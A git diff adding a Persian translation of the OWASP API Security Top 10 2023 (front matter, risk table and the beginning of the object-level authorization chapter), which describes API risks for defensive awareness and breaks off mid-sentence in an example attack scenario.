diff --git a/VERSION b/VERSION index fad066f80..9aa34646d 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.5.0 \ No newline at end of file +2.7.0 \ No newline at end of file diff --git a/editions/2023/fa/0x00-header.md b/editions/2023/fa/0x00-header.md new file mode 100644 index 000000000..ad4770aaa --- /dev/null +++ b/editions/2023/fa/0x00-header.md @@ -0,0 +1,12 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| [https://owasp.org](https://owasp.org) | این اثر تحت مجوز زیر توسعه داده شده است [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/fa/0x00-notice.md b/editions/2023/fa/0x00-notice.md new file mode 100644 index 000000000..6797a6fdf --- /dev/null +++ b/editions/2023/fa/0x00-notice.md @@ -0,0 +1,12 @@ +# اطلاعیه سپاسگزاری‌ها + +این نسخه متنی OWASP API Security Top 10 است که به عنوان مرجعی برای نسخه رسمی منتشر شده، در قالب یک سند قابل حمل (PDF) استفاده می شود. + +مشارکت در پروژه مانند نظرات، اصلاحات یا ترجمه ها باید در اینجا انجام شود. برای جزئیات بیشتر در مورد [نحوه مشارکت][1]، لطفاً به [CONTRIBUTING.md][1] مراجعه فرمایید. + + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md diff --git a/editions/2023/fa/0x00-toc.md b/editions/2023/fa/0x00-toc.md new file mode 100644 index 000000000..41061ea5d --- /dev/null +++ b/editions/2023/fa/0x00-toc.md @@ -0,0 +1,23 @@ +# فهرست مطالب + +* [ فهرست مطالب](0x00-toc.md) +* [درباره OWASP](0x01-about-owasp.md) +* [ پیش‌گفتار](0x02-foreword.md) +* [ مقدمه](0x03-introduction.md) +* [ یادداشت](0x04-release-notes.md) +* [ ریسک‌های امنیت API](0x10-api-security-risks.md) +* [ ده ریسک امنیت API OWASP 2023](0x11-t10.md) +* [API1:2023 مجوزدهی نادرست در سطح اشیا](0xa1-broken-object-level-authorization.md) +* [API2:2023 احرازهویت نادرست کاربر](0xa2-broken-authentication.md) +* [API3:2023 افشای مفرط داده](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 کمبود منابع و نبود محدودیت بر نرخ ارسال](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 مجوزدهی نادرست در سطح توابع](0xa5-broken-function-level-authorization.md) +* [API6:2023 تخصیص جمعی](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 پیکربندی امنیتی نادرست](0xa7-server-side-request-forgery.md) +* [API8:2023 تزریق ورودی‌های مخرب](0xa8-security-misconfiguration.md) +* [API9:2023 مدیریت نادرست دارایی‌ها](0xa9-improper-inventory-management.md) +* [API10:2023 پایش و نظارت ناکافی](0xaa-unsafe-consumption-of-apis.md) +* [ادامه برای توسعه دهندگان](0xb0-next-devs.md) +* [ ادامه برای DevSecOps](0xb1-next-devsecops.md) +* [ متدولوژی و داده](0xd0-about-data.md) +* [سپاسگزاری](0xd1-acknowledgments.md) diff --git a/editions/2023/fa/0x01-about-owasp.md b/editions/2023/fa/0x01-about-owasp.md new file mode 100644 index 000000000..62dc84ea7 --- /dev/null +++ b/editions/2023/fa/0x01-about-owasp.md @@ -0,0 +1,43 @@ +# درباره OWASP + +پروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که اختصاصا در حوزه توانمندسازی سازمان‌ها در حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت دارد. + در OWASP، موارد زیر را بصورت رایگان و آزاد خواهید یافت: + +- استانداردها و ابزارهای امنیت اپلیکیشن. +- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن کد و بازبینی امنیت کد. +- ارائه‌ها و [ویدئوها][1]. +- [راهنما و برگه تقلب][2] برای بسیاری از موضوعات رایج. +- کنترل‌ها و کتابخانه‌های استاندارد در حوزه امنیت. +- [شعب محلی در سرتاسر جهان][3]. +- تحقیقات به روز و پیشرو در حوزه امنیت. +- [کنفرانس‌های تخصصی][4] در سرتاسر جهان. +- [یست‌های پست الکترونیک][5] [آرشیو][6] + +اطلاعات بیشتر در: [https://owasp.org][7] + +تمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شعب OWASP رایگان بوده و استفاده از یا مشارکت در آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است. + +در OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها در نظر گرفته می‌شود چرا که موثرترین رویکردها در امنیت اطلاعات نیز به بهبود در این حوزه‌ها نیاز دارند. + +OWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشار مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه در حوزه امنیت اپلیکیشن‌ها را به ما داده است. + +OWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری در حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات را به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد. + +بنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP را تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری را انجام می‌دهند. همچنین ما از تحقیقات نوآورانه در حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم. + +به ما بپیوندید! + +## حق چاپ و مجوز + +![license](images/license.png) + +حق چاپ © 2003-2023 بنیاد OWASP. این اثر تحت مجوز [Creative Commons Attribution ShareAlike 4.0 International License][8] توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این اثر را برای دیگران شفاف نمایید. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fa/0x02-foreword.md b/editions/2023/fa/0x02-foreword.md new file mode 100644 index 000000000..6cd3f72e6 --- /dev/null +++ b/editions/2023/fa/0x02-foreword.md @@ -0,0 +1,31 @@ +# FW پیشگفتار + +در دنیای مبتنی بر App امروز، یکی از ابعاد بنیادین نوآوری واسط برنامه نویسی اپلیکیشن یا همان API ها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند. + +APIها ذاتا منطق اپلیکیشن و داده‌‌های حساسی از قبیل PII (داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک کاربر را عیان می کنند نظیر شماره ملی) را در معرض دید قرارداده و در نتیجه، به طور روزافزون توجه بخش بیشتری از مهاجمین را به خود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود. + +اگر چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت خاص APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بر راهکارها و استراتژی‌‌های لازم برای فهم و رفع آسیب‌پذیری‌‌ها و تهدیدات امنیتی خاص و منحصر به APIها تمرکز دارد. + +اگر با پروژه [OWASP Top 10][1] آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سراغ لیست اصلی، بخش‌‌های [API ریسک‌های امنیتی][2] و [متدولوژی و داده][3] از همین مستند را مطالعه نمایید. + +با پرسش‌‌ها، نظرات و ایده‌‌های خود در GitHub پروژه می توانید در توسعه OWASP API Security Top 10 مشارکت کنید: + +* [https://owasp.org/www-project-api-security][5] +* [https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md][6] + +در اینجا می توانید OWASP API Security Top 10 را بیابید: + +* [https://owasp.org/www-project-api-security][7] +* [https://github.com/OWASP/API-Security][8] + +بدین وسیله از تمامی مشارکت کنندگان در این پروژه که با تلاش‌‌های خود در بوجود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها در قسمت [سپاسگزاری‌ها][4] قابل مشاهده است. متشکریم! + + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md +[5]: https://owasp.org/www-project-api-security/ +[6]: https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md +[7]: https://owasp.org/www-project-api-security/ +[8]: https://github.com/OWASP/API-Security diff --git a/editions/2023/fa/0x03-introduction.md b/editions/2023/fa/0x03-introduction.md new file mode 100644 index 000000000..d63414c60 --- /dev/null +++ b/editions/2023/fa/0x03-introduction.md @@ -0,0 +1,39 @@ +# مقدمه + +## به OWASP API Security Top 10 - 2023 خوش آمدید! + +به OWASP API Security Top 10 – 2023 خوش آمدید! +به دومین ویراست ده ‌‌آسیب‌پذیری برتر امنیت API خوش آمدید. از زمان انتشار نسخه قبلی این سند در سال 2019، صنعت امنیت API به شدت رشد و تکامل یافته و اکنون می‌توان گفت که به بلوغ رسیده است. ما بر این باور هستیم که این مستند به عنوان مرجعی معتبر در صنعت امنیت به سرعت پذیرفته شده و به توسعه و پیشرفت آن کمک شایانی کرده است. +API نقش مهمی در معماری اپلیکیشن‌‌های مدرن امروزی دارد. از آنجا که آگاهی بخشی امنیتی و نوآوری در این حوزه گام‌‌های مختلفی دارد، تمرکز بر نقاط ضعف رایج API‌ها اهمیت زیادی خواهد داشت. +هدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افراد دخیل در توسعه و نگهداری API‌ها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است. برای کسب اطلاعات بیشتر در مورد پروژه امنیت API، می‌توانید به [صفحه پروژه][1] مراجعه کنید. +اگر با مجموعه OWASP Top 10 آشنا نیستید، پیشنهاد می‌کنیم به پروژه‌های زیر از این مجموعه را مطالعه کنید: + +- [OWASP Cloud-Native Application Security Top 10][2] +- [OWASP Desktop App Security Top 10][3] +- [OWASP Docker Top 10][4] +- [OWASP Low-Code/No-Code Top 10][5] +- [OWASP Machine Learning Security Top Ten][6] +- [OWASP Mobile Top 10][7] +- [OWASP TOP 10][8] +- [OWASP Top 10 CI/CD Security Risks][9] +- [OWASP Top 10 Client-Side Security Risks][10] +- [OWASP Top 10 Privacy Risks][11] +- [OWASP Serverless Top 10][12] + +در [بخش متدلوژی و داده][13]، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حاضر خواهید یافت. در نسخه‌‌های آتی، جامعه امنیت را نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. در حال حاضر همگان را به مشارکت در [انباره داده Github][14] یا [لیست پست الکترونیک ما][15] از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fa/0x04-release-notes.md b/editions/2023/fa/0x04-release-notes.md new file mode 100644 index 000000000..709a0b04a --- /dev/null +++ b/editions/2023/fa/0x04-release-notes.md @@ -0,0 +1,20 @@ +# یادداشت + +مستند پیش رو دومین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API می‌باشد که دقیقاً چهار سال پس از نسخه اول آن منتشر شده است. در طول این چهار سال، تغییرات زیادی در زمینه امنیت API رخ داده است. از جمله این تغییرات می‌توان به موارد زیر اشاره کرد: افزایش چشمگیر تعداد تراکنش‌ها و ارتباطات صورت گرفته از طریق APIها، رشد بیشتر پروتکل‌های API، شرکت‌ها و راه‌حل‌های جدید در حوزه API و توسعه مهارت‌ها و تکنیک‌های جدید توسط مهاجمان برای نفوذ به APIها. با توجه به این موارد، وقت آن رسیده بود که لیست ده آسیب‌پذیری برتر امنیتی به‌روز شود. + +با رشد و بهبود در صنعت امنیت API، برای نخستین بار، درخواستی عمومی برای [جمع‌آوری داده][1] در این زمینه ‌صورت گرفت. متأسفانه هیچ داده‌ای توسط افراد ارائه نشده، اما بر اساس تجربیات تیم پروژه، بازبینی دقیق از سوی متخصصان امنیت API و دریافت بازخورد از جامعه تخصصی در مورد نسخه آزمایشی، لیست جدیدی ایجاد شده است. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به [بخش متدولوژی و داده][2] مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط در [بخش ریسک‌‌‌های امنیتی API][3] قابل مطالعه هستند. + +OWASP API Security Top 10 2023 مستندی آگاهی‌بخش است که آینده صنعت امنیت API را مورد توجه قرار می‌دهد. این مستند به دلیل تغییرات و تحولات سریع در امنیت منتشر شده و هدف آن ارتقاء آگاهی از ریسک‌های امنیتی مرتبط با API است. مستند حاضر، جایگزینی برای دیگر لیست‌های TOP 10 OWASP محسوب نمی‌شود. در این ویرایش به تعدادی از ریسک‌های مهم امنیتی مرتبط با API پرداخته شده که عبارتند از: +• دو مورد "افشای مفرط داده " و "تخصیص جمعی*" با یکدیگر تلفیق شده‌اند و تمرکز بیشتری بر روی عامل مشترک آن‌ها، یعنی نقض اعتبارسنجی مجوز در سطح ویژگی‌های شیء* گذاشته‌ایم. +• در برخی موارد به جای اهمیت دادن به مدیریت موثر منابع و کنترل آنها تا زمان اتمام، فقط به مصرف فعلی منابع توجه می‌کنیم. +• با ایجاد دسته‌بندی جدیدی به نام "دسترسی بدون ‌محدودیت به جریان‌های حساس کسب‌وکار"، بر دسته جدیدی از تهدیدات تمرکز کردیم. این تهدیدات معمولاً با استفاده از محدود کردن نرخ دسترسی به جریان‌های حساس مرتبط، کاهش پیدا می‌کنند. این اقدام به ارتقاء امنیت در مقابل این تهدیدات کمک خواهد کرد. +• عنصر "استفاده ناایمن از APIها" را به لیست اضافه کرده‌ایم تا به رفتار جدیدی که اخیراً مشاهده شده، توجه داشته باشیم. موضوع نام برده شده، به این اشاره دارد که مهاجمان به جای حمله مستقیم به APIهای هدف، به دنبال نقاط ضعف در خدمات متکامل هدف می‌گردند تا از طریق آن‌ها به هدف خود نفوذ کنند. این مسئله به مرور زمان افزایش یافته و اکنون زمان مناسبی است تا به جامعه درباره این خطر در حال افزایش، اطلاع‌رسانی شود. + +فهم تغییرات اساسی در معماری اپلیکیشن‌ها در سالیان گذشته از اهمیت زیادی برخوردار است. امروره APIها نقشی کلیدی در معماری ریزسرویس‌ها، اپلیکیشن‌های تک صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند. + +پروژه حاضر، حاصل تلاش فوق‌العاده داوطلبانه افراد متعددی بوده که بدون آن‌ها، به سرانجام رساندن آن امکان‌پذیر نبود که در [بخش تقدیر و تشکر][4]، از آن‌ها نام برده شده است. متشکریم! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0x10-api-security-risks.md b/editions/2023/fa/0x10-api-security-risks.md new file mode 100644 index 000000000..59a92caae --- /dev/null +++ b/editions/2023/fa/0x10-api-security-risks.md @@ -0,0 +1,37 @@ +# RISK ریسک های امنیتی API + +به منظور تحلیل ریسک، از متدولوژی رتبه بندی ریسک OWASP استفاده شده است. +جدول زیر، واژگان مرتبط با رتبه ریسک را مختصرا نشان می‌دهد. + +| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری | قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بر کسب و کار | +|----------------|--------------------|-----------------------|----------------------------|------------|----------------------| +| خاص API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | خاص کسب و کار | +| | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | | +| | سخت: 1 | سخت: 1 | سخت: 1 | جزئی: 1 | | + +در این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری در رتبه ریسک تاثیر ندارند؛ بعبارت دیگر در این روش رتبه بندی ریسک، راهکار مورد استفاده برای ‌‌‌‌پیاده‌سازی API، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند در پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بر کسب و کارها را نشان نداده و این سازمان‌ها هستند که با توجه به نوع کسب و کار و فرهنگ سازمانی خود، در میزان پذیرش خطر امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست. + +## مراجع + +### OWASP + +- [OWASP Risk Rating Methodology][1] +- [Article on Threat/Risk Modeling][2] + +### خارجی + +- [ISO 31000: Risk Management Std][3] +- [ISO 27001: ISMS][4] +- [NIST Cyber Framework (US)][5] +- [ASD Strategic Mitigations (AU)][6] +- [NIST CVSS 3.0][7] +- [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fa/0x11-t10.md b/editions/2023/fa/0x11-t10.md new file mode 100644 index 000000000..eeadb7836 --- /dev/null +++ b/editions/2023/fa/0x11-t10.md @@ -0,0 +1,28 @@ +# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023 + +| ریسک امنیتی | توضیحات | +|---------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| [API1:2023 - نقض مجوزدهی در سطح اشیا][api1] | APIها معمولا توابع مدیریت کننده شناسه‌های اشیا را در معرض دید قرار داده و سطح حمله گسترده‌ای را برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی در سطح اشیا بایستی در کلیه توابعی که با گرفتن ورودی از کاربر به منابع داده دسترسی دارند پیاده‌سازی شود. | +| [API2:2023 - احرازهویت نادرست کاربر][api2] | مکانیزم‌های احرازهویت گاها به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. در صورت عدم توانایی سیستم در شناخت کلاینت یا کاربر، امنیت API نیز نقض خواهد شد. | +| [API3:2023 - نقض مجوزدهی در سطح ویژگی‌های شیء][api3] | این دسته‌، ترکیبی از [API3:2019 افشای مفرط داده][1] و [API6:2019 تخصیص جمعی][2] می‌باشد که بر روی علت اصلی این مشکل تمرکز دارد: عدم وجود یا صحیح بودن اعتبارسنجی مجوزهای دسترسی در سطح ویژگی‌های شیء موجب افشای اطلاعات به نحو نادرست یا تغییر و دستکاری اطلاعات توسط افراد غیرمجاز می‌شود. | | +| [API4:2023 - مصرف بدون محدودیت منابع][api4] | برای انجام درخواست‌های API، منابعی مانند پهنای باند شبکه، واحد پردازش مرکزی (CPU)، حافظه و ذخیره‌سازی لازم است. منابع دیگری مانند ایمیل‌ها، پیام‌ های کوتاه‌ (SMS)، تماس‌های تلفنی، یا اعتبارسنجی بایومتریک توسط ارائه‌دهندگان خدمات از طریق ادغام API نیز در دسترس قرار گرفته و بر اساس هر درخواست بکار گرفته می‌شوند. حملات موفق می‌توانند منجر به رد سرویس‌دهی (Denial of Service) یا افزایش هزینه‌های عملیاتی شوند. | +| [API5:2023 - نقض مجوزدهی در سطح توابع][api5] | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابع عادی و مدیریتی سبب بروز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابع مدیریتی دست خواهند یافت. | +| [API6:2023 - دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار][api6] | پیوند دادن داده ارائه شده توسط کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بر مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، کاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا در بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست را دستکاری نماید. | +| [API7:2023 - جعل درخواست در سمت سرور][api7] | درخواست‌هایی که از سمت سرور به وسیله یک برنامه یا سرویس وب به منبع دیگری در اینترنت ارسال می‌شوند، ممکن است به اشتباه یا بدون اعتبارسنجی صحیح آدرس (URI) توسط کاربر ارسال شوند. این مشکل می‌تواند به مهاجم این امکان را بدهد که برنامه را مجبور به ارسال درخواست‌های ساختگی به مقصدی که برنامه اصلاً منتظر نبوده، بکند. حتی اگر برنامه تحت حفاظت دیوار آتش یا شبکه خصوصی مجازی باشد. این نوع حمله امنیتی SSRF نام دارد و می‌تواند به دسترسی غیرمجاز به منابع دیگر یا سیستم‌های داخلی شبکه منجر شود. در نتیجه، اعتبارسنجی و کنترل دقیق بر روی URI‌های ارسالی به سمت سرور بسیار مهم است تا از وقوع چنین حملاتی جلوگیری شود. | +| [API8:2023 - پیکربندی امنیتی نادرست][api8] | وقتی پیکربندی‌ها به درستی مدیریت نشده و اصول امنیتی را رعایت نکنند، احتمال وقوع حملات امنیتی به سیستم‌ها و API‌ها افزایش می‌یابد. این نقاط ضعف در پیکربندی می‌توانند به حملاتی مانند حملات به امنیت شبکه (Network Security Attacks)، حملات نفوذ به سیستم (System Intrusion)، حملات SSRF که در قسمت قبل بحث شد، یا حملات دیگر امنیتی منجر شوند. به همین دلیل اهمیت حفاظت از پیکربندی‌های مرتبط با API‌ها و سیستم‌های مرتبط با آنها از نظر امنیتی بسیار بالاست و مهم است که توسعه‌دهندگان و مهندسان DevOps به این جنبه‌ها توجه ویژه‌ای داشته باشند. | +| [API9:2023 - مدیریت نادرست دارایی‌‌ها][api9] | APIها معمولا توابع بیشتری را نسبت به وب اپلیکیشن‌‌های سنتی در معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بروز را دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی در رفع ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابع مرتبط با debugging ایفا می‌کند. | +| [API10:2023 - استفاده ناایمن از APIها][api10] | توسعه‌دهندگان به دلیل اعتماد بیشتر به داده‌هایی که از API‌های طرف ثالث دریافت می‌کنند، به استانداردهای امنیتی کمتری پایبند هستند. مهاجمان هم به جای حمله مستقیم به API اصلی، به سرویس‌های طرف ثالث حمله می‌کنند. این مسئله ممکن است منجر به ایجاد شکاف‌ها و آسیب‌پذیری‌های امنیتی در نرم‌افزارها شود. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fa/0xa1-broken-object-level-authorization.md b/editions/2023/fa/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..f121be97e --- /dev/null +++ b/editions/2023/fa/0xa1-broken-object-level-authorization.md @@ -0,0 +1,50 @@ +# API1:2023 نقض مجوزدهی در سطح اشیاء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|مهاجمین می‌توانند از نقاط و توابع ‌آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند.|این حمله رایج ترین ‌آسیب‌پذیری APIها بوده و بیشترین پیامدها را نیز در پی دارد. مکانیزم‌های مجوزدهی و کنترل دسترسی در اپلیکیشن‌های مدرن، پیچیده و گسترده هستند. حتی اگر اپلیکیشن زیرساخت مناسب را برای کنترل‌های مجوزدهی ‌‌‌‌پیاده‌سازی نماید، ممکن است توسعه دهندگان پیش از دسترسی به اشیا حساس، استفاده از این کنترل‌ها را فراموش نمایند. تشخیص نقایص مربوط به کنترل دسترسی از طریق تست‌های ایستا یا پویا به صورت خودکار غالبا امکان پذیر نیست.|دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب تحت کنترل گرفتن کامل حساب کاربری توسط مهاجم گردد.| + +## آیا API از نظر نقض مجوزدهی در سطح اشیاء آسیب‌پذیر است؟ + +مجوزدهی در سطح اشیا مکانیزمی برای کنترل دسترسی است که غالبا در سطح کد ‌‌‌‌پیاده‌سازی شده و دسترسی کاربر به اشیایی که بایستی به آنها دسترسی داشته باشد را تضمین می‌نماید. + +هر تابعی در API که یک شناسه شی دریافت نموده و نوعی عملیات بر روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی در سطح اشیا را بکار گیرد. این کنترل‌ها باید دسترسی کاربرِ واردشده به انجام عمل درخواستی بر روی شی درخواستی را اعتبارسنجی نمایند. + +وجود ایراد و نقصان در این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد شد. + +در مسئله‌ی Broken Object Level Authorization (BOLA)، امنیت کاربران در دسترسی به اطلاعات و منابع در سیستم به خطر می‌افتد. این مشکل زمانی رخ می‌دهد که سیستم یک درخواست API حاوی یک شناسه (مثلاً شناسه یک مورد یا اشیاء خاص) را دریافت می‌کند و بدون بررسی دقیق این شناسه و اعتبارسنجی آن، به منابع مرتبط با آن شناسه دسترسی می‌دهد. مهاجمان با تغییر شناسه در درخواست‌های خود می‌توانند به اطلاعاتی دسترسی پیدا کنند که به طور عادی نباید به آن‌ها دسترسی داشته باشند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 +یک پلتفرم تجارت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده را در قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذکور را دارند و الگوی آنها به صورت `/shops/{shopName}/revenue_data.json` می‌باشد را شناسایی می‌کند. با استفاده از یک تابع دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده را استخراج نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` در URL خواهد توانست به داده‌ی فروش هزاران 